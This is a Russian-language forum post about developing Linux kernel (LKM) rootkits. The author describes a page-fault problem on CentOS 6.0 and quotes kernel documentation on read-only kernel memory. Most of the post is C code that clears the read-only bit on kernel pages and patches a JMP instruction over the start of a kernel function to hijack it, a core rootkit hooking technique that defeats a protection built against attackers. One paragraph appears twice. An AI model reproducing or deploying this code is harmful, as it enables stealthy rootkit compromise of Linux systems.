Кому-то интересна разработка LKM-руткитов для Linux? Пытался сделать сплайсинг на CentOS 6.0 2.6.32-71.29.1.el6.i686, возникла проблема доступа к важным кускам памяти ядра (unable to handle kernel paging request), выяснилось что
проблема решилась предварительным снятием RO-бита с соотв. страницы памяти через lookup_address (2.6.26+):
The Linux kernel attempts to protect portions of its memory
from unexpected modification (through potential future exploits)
by setting areas read-only where the compiler has allowed it.
This ... reduces the number of easily writable kernel memory
targets for attackers.
CONFIG_DEBUG_RODATA=y is the default in RHEL/CentOS (they disable for debug kernel) [2] and in Debian/Ubuntu [3].
проблема решилась предварительным снятием RO-бита с соотв. страницы памяти через lookup_address (2.6.26+):
Код:
...
void set_addr_rw(unsigned long addr)
{
unsigned int level;
pte_t *pte = lookup_address(addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
int splice_func(unsigned char *old_func_ptr, unsigned char *my_func_ptr)
{
int offset;
struct splice_struct *splice_ptr = NULL;
splice_ptr = kmalloc(sizeof(struct splice_struct), GFP_KERNEL);
if(!splice_ptr) return 0;
lock_kernel();
memset(splice_ptr, 0, sizeof(struct splice_struct));
memcpy(&splice_ptr->save_data, old_func_ptr, 5);
splice_ptr->modified_address = old_func_ptr;
list_add(&splice_ptr->list, &splice_func_list);
offset = (int)my_func_ptr - ((int)old_func_ptr+5);
set_addr_rw((unsigned long)old_func_ptr);
set_addr_rw((unsigned long)old_func_ptr+1);
set_addr_rw((unsigned long)old_func_ptr+2);
set_addr_rw((unsigned long)old_func_ptr+3);
set_addr_rw((unsigned long)old_func_ptr+4);
*old_func_ptr = 0xE9;
old_func_ptr++;
memcpy(old_func_ptr, &offset, 4);
unlock_kernel();
return 1;
}
...